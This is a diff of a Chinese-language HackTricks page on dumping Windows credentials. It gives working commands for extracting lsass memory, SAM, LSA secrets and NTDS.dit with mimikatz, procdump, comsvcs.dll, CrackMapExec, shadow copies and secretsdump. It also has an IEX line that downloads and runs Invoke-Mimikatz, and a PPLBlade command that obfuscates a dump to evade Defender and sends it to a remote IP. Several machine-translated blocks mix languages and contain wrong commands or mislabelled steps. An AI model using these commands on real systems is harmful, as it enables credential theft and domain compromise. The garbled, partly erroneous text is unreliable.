* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
@ -26,53 +26,9 @@ lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
```
### 调用Mimikatz
**在[此页面](credentials-mimikatz.md)**中查找Mimikatz可以执行的其他操作。
Invoke-Mimikatz是一个PowerShell脚本它利用Mimikatz工具来提取Windows系统中的凭据。Mimikatz是一个强大的工具可以用于从内存中提取明文密码、哈希值和其他凭据。
#### 使用方法
要使用Invoke-Mimikatz脚本首先需要下载Mimikatz工具并将其放置在合适的位置。然后可以按照以下步骤使用Invoke-Mimikatz脚本
1. 打开PowerShell控制台。
2. 导航到Mimikatz工具所在的目录。
3. 运行以下命令以加载Invoke-Mimikatz脚本
```powershell
Import-Module .\Invoke-Mimikatz.ps1
```
4. 运行以下命令以执行Mimikatz工具并提取凭据
```powershell
Invoke-Mimikatz -Command "command_to_execute"
```
在`command_to_execute`中可以使用Mimikatz支持的各种命令来执行不同的操作例如提取明文密码、哈希值、证书等。
#### 示例
以下是一些使用Invoke-Mimikatz脚本的示例命令
- 提取明文密码:
```powershell
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonPasswords"
```
- 提取哈希值:
```powershell
Invoke-Mimikatz -Command "privilege::debug sekurlsa::ekeys"
```
- 提取证书:
```powershell
Invoke-Mimikatz -Command "crypto::capi"
```
请注意使用Mimikatz工具可能会触发杀毒软件的警报因为它被广泛用于恶意活动。在进行任何操作之前请确保您有合法的授权和适当的权限。
### Invoke-Mimikatz
```bash
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
@ -123,16 +79,16 @@ mimikatz # sekurlsa::logonPasswords
```
{% endcode %}
这个过程可以使用[SprayKatz](https://github.com/aas-n/spraykatz)自动完成`./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
这个过程是使用 [SprayKatz](https://github.com/aas-n/spraykatz) 自动完成的`./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
**注意**:一些**杀毒软件**可能会将使用**procdump.exe转储lsass.exe**视为**恶意行为**,这是因为它们**检测到**了字符串**"procdump.exe"和"lsass.exe"**。因此将lsass.exe的**PID**作为参数传递给procdump而不是使用lsass.exe的名称可以更加**隐蔽**
**注意**:一些 **AV** 可能会将使用 **procdump.exe 转储 lsass.exe** 检测为 **恶意行为**,这是因为它们检测到了字符串 **"procdump.exe" 和 "lsass.exe"**。因此,将 lsass.exe 的 **PID** 作为参数传递给 procdump而不是使用名称 lsass.exe这样更加隐蔽
### 使用**comsvcs.dll**转储lsass
### 使用 **comsvcs.dll** 转储 lsass
在`C:\Windows\System32`目录下有一个名为**comsvcs.dll**的DLL它在进程**崩溃**时会**转储进程内存**。这个DLL包含一个名为**`MiniDumpW`**的函数,可以使用`rundll32.exe`调用它。\
前两个参数没有使用,但第三个参数被分成了3个部分。第一部分是要转储的进程ID第二部分是转储文件的位置第三部分是单词**full**。没有其他选择。\
一旦解析了这3个参数基本上这个DLL会创建转储文件,并将指定的进程转储到该转储文件中。\
借助这个函数,我们可以使用**comsvcs.dll**来转储lsass进程而不是上传procdump并执行它。此信息摘自[https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/)
有一个名为 **comsvcs.dll** DLL位于 `C:\Windows\System32`它在进程 **崩溃** 时会 **转储进程内存**。这个 DLL 包含一个名为 **`MiniDumpW`** 的函数,可以使用 `rundll32.exe` 调用它。\
前两个参数没有使用,但第三个参数被分成了三个部分。第一部分是要转储的进程 ID第二部分是转储文件的位置第三部分是单词 **full**。没有其他选择。\
一旦解析了这三个参数,基本上这个 DLL 就会创建转储文件,并将指定的进程转储到该转储文件中。\
借助这个函数,我们可以使用 **comsvcs.dll** 转储 lsass 进程,而不是上传 procdump 并执行它。(此信息摘自 [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/)
```
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
```
@ -144,8 +100,8 @@ rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
1. 右键点击任务栏,然后点击任务管理器
2. 点击更多详细信息
3. 在进程选项卡中搜索"Local Security Authority Process"进程
4. 右键点击"Local Security Authority Process"进程,然后点击"创建转储文件"。
3. 在进程选项卡中搜索"本地安全局进程"进程
4. 右键点击"本地安全局进程"进程,然后点击"创建转储文件"。
### 使用procdump转储lsass
@ -154,23 +110,25 @@ rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
```
## 使用PPLBlade转储lsass
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade)是一款受保护的进程转储工具,支持对内存转储进行混淆,并在不将其放入磁盘的情况下传输到远程工作站。
**关键功能**
1. 绕过PPL保护
2. 对内存转储文件进行混淆以逃避Defender基于签名的检测机制
3. 使用RAW和SMB上传方法上传内存转储而无需将其放入磁盘无文件转储
{% code overflow="wrap" %}
```bash
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
```
{% endcode %}
## CrackMapExec
### 转储 SAM 哈希
CrackMapExec 是一款功能强大的渗透测试工具,可以用于在 Windows 系统中执行各种攻击。其中一个功能是通过转储 SAM 哈希来获取凭据。
要使用 CrackMapExec 转储 SAM 哈希,可以使用以下命令:
```plaintext
crackmapexec <target> -u <username> -p <password> --sam
```
在这个命令中,`<target>` 是目标主机的 IP 地址或主机名,`<username>` 和 `<password>` 是具有足够权限的有效凭据。
执行此命令后CrackMapExec 将连接到目标主机,并尝试转储 SAM 数据库中的哈希。这些哈希可以用于进一步的攻击,例如离线破解密码或进行 Pass-the-Hash 攻击。
请注意,使用 CrackMapExec 进行此操作需要足够的权限,并且仅限于合法的渗透测试活动。在未经授权的情况下使用此工具可能会违反法律。
### 转储SAM哈希值
```
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
```
@ -178,117 +136,109 @@ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
#### 描述
LSA本地安全局是 Windows 操作系统中的一个组件负责管理安全策略和安全凭据。LSA 密钥是存储在操作系统中的敏感信息,如密码和凭据。通过转储 LSA 密钥,黑客可以获取这些敏感信息,从而进一步入侵系统。
本技术手册将介绍如何通过转储 LSA本地安全局密钥来窃取凭据。LSA 密钥是 Windows 操作系统中存储敏感凭据的地方,包括密码、证书和其他身份验证信息。通过获取这些密钥,黑客可以获取用户的凭据并进一步入侵系统。
#### 技术细节
#### 步骤
黑客可以使用工具(如 Mimikatz来转储 LSA 密钥。这些工具利用操作系统中的漏洞或弱点,获取 LSA 密钥的副本。一旦黑客获得了这些密钥,他们可以使用它们来获取用户凭据、密码哈希和其他敏感信息
1. 打开命令提示符或 PowerShell 终端
#### 防御措施
2. 运行以下命令以转储 LSA 密钥:
为了防止黑客转储 LSA 密钥并窃取敏感信息,可以采取以下防御措施:
```plaintext
reg save HKLM\SECURITY security.hive
```
- 定期更新操作系统和软件,以修复已知的漏洞。
- 使用强密码策略,并定期更改密码。
- 限制对 LSA 密钥的访问权限,只授权给必要的用户和服务。
- 监控系统日志,及时发现异常活动。
- 使用安全软件和防火墙,检测和阻止恶意行为。
此命令将导出 LSA 密钥到名为 `security.hive` 的文件中。
#### 相关链接
3. 使用合适的工具(如 Mimikatz来解析 `security.hive` 文件并提取敏感凭据。
- [Mimikatz](https://github.com/gentilkiwi/mimikatz)
```plaintext
mimikatz.exe "sekurlsa::minidump security.hive" "sekurlsa::logonPasswords full"
```
Mimikatz 将解析 `security.hive` 文件并显示其中存储的凭据信息。
4. 分析提取的凭据以获取所需的敏感信息。
#### 注意事项
- 在执行此技术时,请确保您已获得合法的授权,并且仅在合法的渗透测试活动中使用。
- 转储 LSA 密钥可能会触发安全警报,因此请在适当的环境中进行测试,并遵守适用的法律和规定。
- 请注意,此技术可能会违反某些国家或地区的法律。在使用此技术之前,请确保您了解并遵守当地的法律法规。
```
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
```
### 从目标域控制器中转储NTDS.dit文件
To dump the NTDS.dit file from a target Domain Controller (DC), you can use various techniques. Here are a few methods:
To dump the NTDS.dit file from a target domain controller, you can use various techniques such as:
#### 1. NTDSUtil
- **NTDSUtil**: This built-in Windows utility allows you to perform various operations on the Active Directory database, including dumping the NTDS.dit file. You can use the following command to dump the file:
NTDSUtil is a command-line tool that allows you to manage Active Directory (AD) databases. You can use it to dump the NTDS.dit file by following these steps:
```
ntdsutil "ac i ntds" "ifm" "create full C:\path\to\dump\folder" q q
```
1. Open a command prompt with administrative privileges on a machine with the Remote Server Administration Tools (RSAT) installed.
2. Run the following command to enter the NTDSUtil tool:
Replace `C:\path\to\dump\folder` with the desired path where you want to save the dumped NTDS.dit file.
```
ntdsutil
```
- **Mimikatz**: This powerful post-exploitation tool can also be used to dump the NTDS.dit file. You can use the following command within Mimikatz:
3. Once inside the NTDSUtil tool, run the following commands to dump the NTDS.dit file:
```
lsadump::dcsync /domain:<domain_name> /all /csv
```
```
activate instance ntds
ifm
create full <path_to_dump_folder>
```
Replace `<domain_name>` with the name of the target domain.
Replace `<path_to_dump_folder>` with the desired location where you want to save the dumped NTDS.dit file.
#### 2. Mimikatz
Mimikatz is a powerful post-exploitation tool that can be used to extract credentials from memory. It can also be used to dump the NTDS.dit file. Here's how:
1. Obtain administrative access to a machine in the target domain.
2. Download and execute Mimikatz on the target machine.
3. Run the following command within Mimikatz to dump the NTDS.dit file:
```
lsadump::lsa /inject /name:<DC_name>
```
Replace `<DC_name>` with the name of the target Domain Controller.
#### 3. Volume Shadow Copy
If Volume Shadow Copy is enabled on the target Domain Controller, you can use it to access and copy the NTDS.dit file. Here's how:
1. Obtain administrative access to a machine in the target domain.
2. Open a command prompt with administrative privileges.
3. Run the following command to create a shadow copy of the NTDS volume:
```
vssadmin create shadow /for=<NTDS_volume>
```
Replace `<NTDS_volume>` with the drive letter or volume name where the NTDS.dit file is located.
4. Use any file transfer method (e.g., SMB, SCP) to copy the NTDS.dit file from the shadow copy location to your desired location.
These are just a few methods to dump the NTDS.dit file from a target Domain Controller. Each method has its own advantages and limitations, so choose the one that suits your specific scenario.
Remember that dumping the NTDS.dit file requires administrative privileges on the target domain controller. Additionally, be cautious when handling sensitive data and ensure that you have proper authorization to perform such actions.
```
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
```
### 从目标域控制器中转储NTDS.dit密码历史记录
To dump the NTDS.dit password history from a target domain controller, you can use the following method:
To dump the NTDS.dit password history from a target domain controller, you can use the following steps:
1. Obtain the NTDS.dit file from the target domain controller. This file contains the Active Directory database, including the password hashes.
1. 首先,通过获取域管理员权限或具有域管理员权限的用户凭据,登录到目标域控制器。
2. Use a tool like `ntdsutil` to access the NTDS.dit file. This tool is built into Windows Server and can be accessed through the command prompt.
2. 打开命令提示符或PowerShell并以管理员身份运行。
3. Once inside `ntdsutil`, use the `activate instance ntds` command to activate the NTDS instance.
3. 使用以下命令导航到NTDS.dit文件所在的目录
```
cd C:\Windows\NTDS
```
4. Next, use the `ifm` command to create an Install From Media (IFM) snapshot of the NTDS.dit file. This snapshot will allow you to access the password hashes offline.
4. 运行以下命令以加载NTDS数据库
```
ntdsutil
activate instance ntds
```
5. After creating the IFM snapshot, exit `ntdsutil` and navigate to the location where the snapshot was created.
5. 运行以下命令以创建一个新的安全标识符SID
```
ifm
create full c:\temp
```
6. Use a tool like `dsusers.py` or `mimikatz` to extract the password hashes from the NTDS.dit file. These tools can parse the database and retrieve the password history.
6. 导出NTDS.dit文件和系统注册表到指定的目录
```
quit
quit
```
By following these steps, you can successfully dump the NTDS.dit password history from a target domain controller.
7. 现在你可以在指定的目录例如c:\temp中找到NTDS.dit文件和系统注册表文件。
通过执行上述步骤你可以成功地从目标域控制器中转储NTDS.dit密码历史记录。请注意这需要管理员权限或具有域管理员权限的用户凭据。
```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
```
### 显示每个NTDS.dit账户的pwdLastSet属性
To show the `pwdLastSet` attribute for each NTDS.dit account, you can use the following PowerShell command:
To show the `pwdLastSet` attribute for each account in the NTDS.dit file, you can use the following PowerShell command:
```powershell
Get-ADUser -Filter * -Properties pwdLastSet | Select-Object Name, pwdLastSet
```
This command will retrieve all user accounts from the NTDS.dit database and display the `Name` and `pwdLastSet` attributes for each account.
This command will retrieve all user accounts in the NTDS.dit file and display their `Name` and `pwdLastSet` attributes.
```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
```
@ -328,7 +278,7 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Ex
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```
但是你也可以使用**Powershell**来完成相同的操作。以下是一个示例演示如何复制SAM文件硬盘使用的是"C:"保存到C:\users\Public但你也可以使用此方法复制任何受保护的文件:
但是你也可以使用**Powershell**来完成相同的操作。以下是一个示例演示如何复制SAM文件硬盘使用的是"C:"保存到C:\users\Public但你也可以用它来复制任何受保护的文件:
```bash
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
@ -341,7 +291,7 @@ $voume.Delete();if($notrunning -eq 1){$service.Stop()}
### Invoke-NinjaCopy
最后,还可以使用[**PS脚本Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1)来复制SAM、SYSTEM和ntds.dit文件。
最后,还可以使用[**PS脚本Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1)来复制SAM、SYSTEM和ntds.dit文件。
```bash
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
```
@ -350,7 +300,7 @@ Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c
**Ntds.dit文件是存储Active Directory数据的数据库**,包括有关用户对象、组和组成员的信息。它包含域中所有用户的密码哈希值。
重要的NTDS.dit文件将**位于**_%SystemRoom%/NTDS/ntds.dit_\
该文件是一个_可扩展存储引擎_ESE数据库"官方"由3个表组成
该文件是一个由3个表组成的数据库_Extensible Storage Engine_ESE
* **数据表**:包含对象(用户、组等)的信息
* **链接表**:关系的信息(成员关系等)
@ -358,7 +308,7 @@ Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c
有关更多信息,请访问:[http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
Windows使用_Ntdsa.dll_与该文件进行交互并由_lsass.exe_使用。然后**NTDS.dit**文件的**一部分**可能位于**`lsass`**内存中(您可以通过使用**缓存**来找到最近访问的数据,可能是因为性能改进)。
Windows使用_Ntdsa.dll_与该文件进行交互并由_lsass.exe_使用。然后**NTDS.dit**文件的**一部分**可能位于**`lsass`**内存中(您可以通过使用**缓存**来找到最近访问的数据,可能是因为性能的提升)。
#### 解密NTDS.dit中的哈希值
@ -376,7 +326,7 @@ Windows使用_Ntdsa.dll_与该文件进行交互并由_lsass.exe_使用。然
```bash
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
```
你还可以使用[**卷影复制**](./#stealing-sam-and-system)技巧来复制**ntds.dit**文件。记住,你还需要**SYSTEM文件**的副本(同样,[**从注册表中转储或使用卷影复制**](./#stealing-sam-and-system)技巧)。
你还可以使用[**卷影复制**](./#stealing-sam-and-system)技巧来复制**ntds.dit**文件。记住,你还需要**SYSTEM文件**的副本(同样,[**从注册表中转储或使用卷影复制**](./#stealing-sam-and-system)技巧)。
### **从NTDS.dit中提取哈希值**
@ -398,7 +348,7 @@ secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
```
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
```
`SYSTEM` hive是可选的但可以用于解密秘密NT和LM哈希附加凭据如明文密码Kerberos或信任密钥NT和LM密码历史记录。除其他信息外还提取以下数据用户和计算机帐户及其哈希值UAC标志最后登录和更改密码的时间戳帐户描述名称UPNSPN组和递归成员组织单位树和成员具有信任类型方向和属性的受信任域...
`SYSTEM`注册表是可选的但可以用于解密秘密信息如NT和LM哈希、补充凭据如明文密码、Kerberos或信任密钥、NT和LM密码历史记录。除其他信息外还提取以下数据用户和计算机帐户及其哈希值、UAC标志、上次登录和更改密码的时间戳、帐户描述、名称、UPN、SPN、组和递归成员、组织单位树和成员、具有信任类型、方向和属性的受信任域...
## Lazagne
@ -424,42 +374,25 @@ fgdump.exe
从SAM文件中提取凭据
```plaintext
PwDump is a tool that allows you to extract credentials from the Security Account Manager (SAM) file in Windows. The SAM file contains password hashes for local user accounts on the system.
PwDump is a tool used to extract credentials from the Security Account Manager (SAM) file in Windows operating systems. The SAM file stores password hashes for local user accounts on the system.
To use PwDump, you need to have administrative privileges on the target system. Once you have obtained the SAM file, you can run PwDump to extract the password hashes.
By extracting the credentials from the SAM file, an attacker can gain access to user passwords and potentially escalate their privileges on the compromised system.
PwDump works by reading the SAM file and decrypting the password hashes using the system's encryption keys. It then outputs the decrypted password hashes in a format that can be easily cracked using password cracking tools like John the Ripper or Hashcat.
PwDump works by reading the SAM file and extracting the password hashes. These hashes can then be cracked using various password cracking techniques, such as dictionary attacks or brute-force attacks, to obtain the actual passwords.
It is important to note that PwDump only works on offline systems, meaning you need to have physical access to the target system or have obtained a copy of the SAM file through other means. Additionally, PwDump may trigger antivirus alerts due to its nature as a password dumping tool.
It is important to note that PwDump requires administrative privileges to access the SAM file. Additionally, it is considered a malicious tool and should only be used for authorized penetration testing or security research purposes.
To use PwDump, follow these steps:
To use PwDump, simply run the tool with administrative privileges and specify the path to the SAM file. The tool will then extract the password hashes and display them in a readable format.
1. Obtain administrative privileges on the target system.
2. Obtain a copy of the SAM file from the target system.
3. Run PwDump on the SAM file to extract the password hashes.
4. Use password cracking tools to crack the extracted password hashes.
Example usage:
Keep in mind that extracting credentials from the SAM file without proper authorization is illegal and unethical. PwDump should only be used for legitimate purposes, such as penetration testing or password recovery on systems you have permission to access.
```
PwDump.exe C:\Windows\System32\config\SAM
```
```plaintext
PwDump是一种工具允许您从Windows的安全账户管理器SAM文件中提取凭据。SAM文件包含系统上本地用户账户的密码哈希。
This will extract the password hashes from the SAM file located at `C:\Windows\System32\config\SAM`.
要使用PwDump您需要在目标系统上具有管理员权限。一旦您获得了SAM文件您可以运行PwDump来提取密码哈希。
PwDump的工作原理是通过读取SAM文件并使用系统的加密密钥解密密码哈希。然后它以易于使用密码破解工具如John the Ripper或Hashcat破解的格式输出解密的密码哈希。
重要的是要注意PwDump仅适用于离线系统这意味着您需要物理访问目标系统或通过其他方式获得SAM文件的副本。此外由于其作为密码转储工具的性质PwDump可能会触发防病毒警报。
要使用PwDump请按照以下步骤操作
1. 在目标系统上获得管理员权限。
2. 从目标系统获取SAM文件的副本。
3. 在SAM文件上运行PwDump以提取密码哈希。
4. 使用密码破解工具破解提取的密码哈希。
请记住在没有适当授权的情况下从SAM文件中提取凭据是非法和不道德的。PwDump应仅用于合法目的例如渗透测试或在您有权限访问的系统上进行密码恢复。
```
It is recommended to use PwDump responsibly and in accordance with applicable laws and regulations.
```
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
@ -473,13 +406,11 @@ type outpwdump
[**在这里了解一些凭据保护措施。**](credentials-protections.md)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**